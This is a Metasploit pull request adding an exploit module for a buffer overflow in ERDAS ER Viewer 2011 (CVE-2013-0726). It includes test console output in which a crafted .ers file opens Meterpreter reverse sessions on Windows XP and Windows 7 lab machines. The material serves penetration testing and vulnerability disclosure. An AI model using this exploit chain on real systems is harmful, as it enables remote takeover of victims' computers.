rapid7/metasploit-framework — pull request #1808 by jvazquez-r7 (2013-05-08 18:52:21+00:00)
Title: Add module for CVE-2013-0726

Vulnerable software: ERS Viewer 2011, version 11.04, can be found here:

http://geospatial.intergraph.com/resources/downloads/download/ERDAS_ER_Viewer_2011_Version_11_0_4.aspx?Downloads=ProductDownloadItem

Test on Windows XP SP3 and W7 SP1:

```
msf exploit(erdas_er_viewer_bof) > rexploit
[*] Reloading module...

[+] msf.ers stored at /Users/juan/.msf4/local/msf.ers
msf exploit(erdas_er_viewer_bof) > use exploit/multi/handler
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.6.0.165:4444
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 10.6.0.165
[*] Meterpreter session 1 opened (10.6.0.165:4444 -> 10.6.0.165:51547) at 2013-05-08 13:21:45 -0500

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit -y
[*] Shutting down Meterpreter...

msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.6.0.165:4444
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 10.6.0.165
[*] Meterpreter session 3 opened (10.6.0.165:4444 -> 10.6.0.165:51690) at 2013-05-08 13:36:22 -0500

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
emeterpreter > exit -y
[*] Shutting down Meterpreter...

```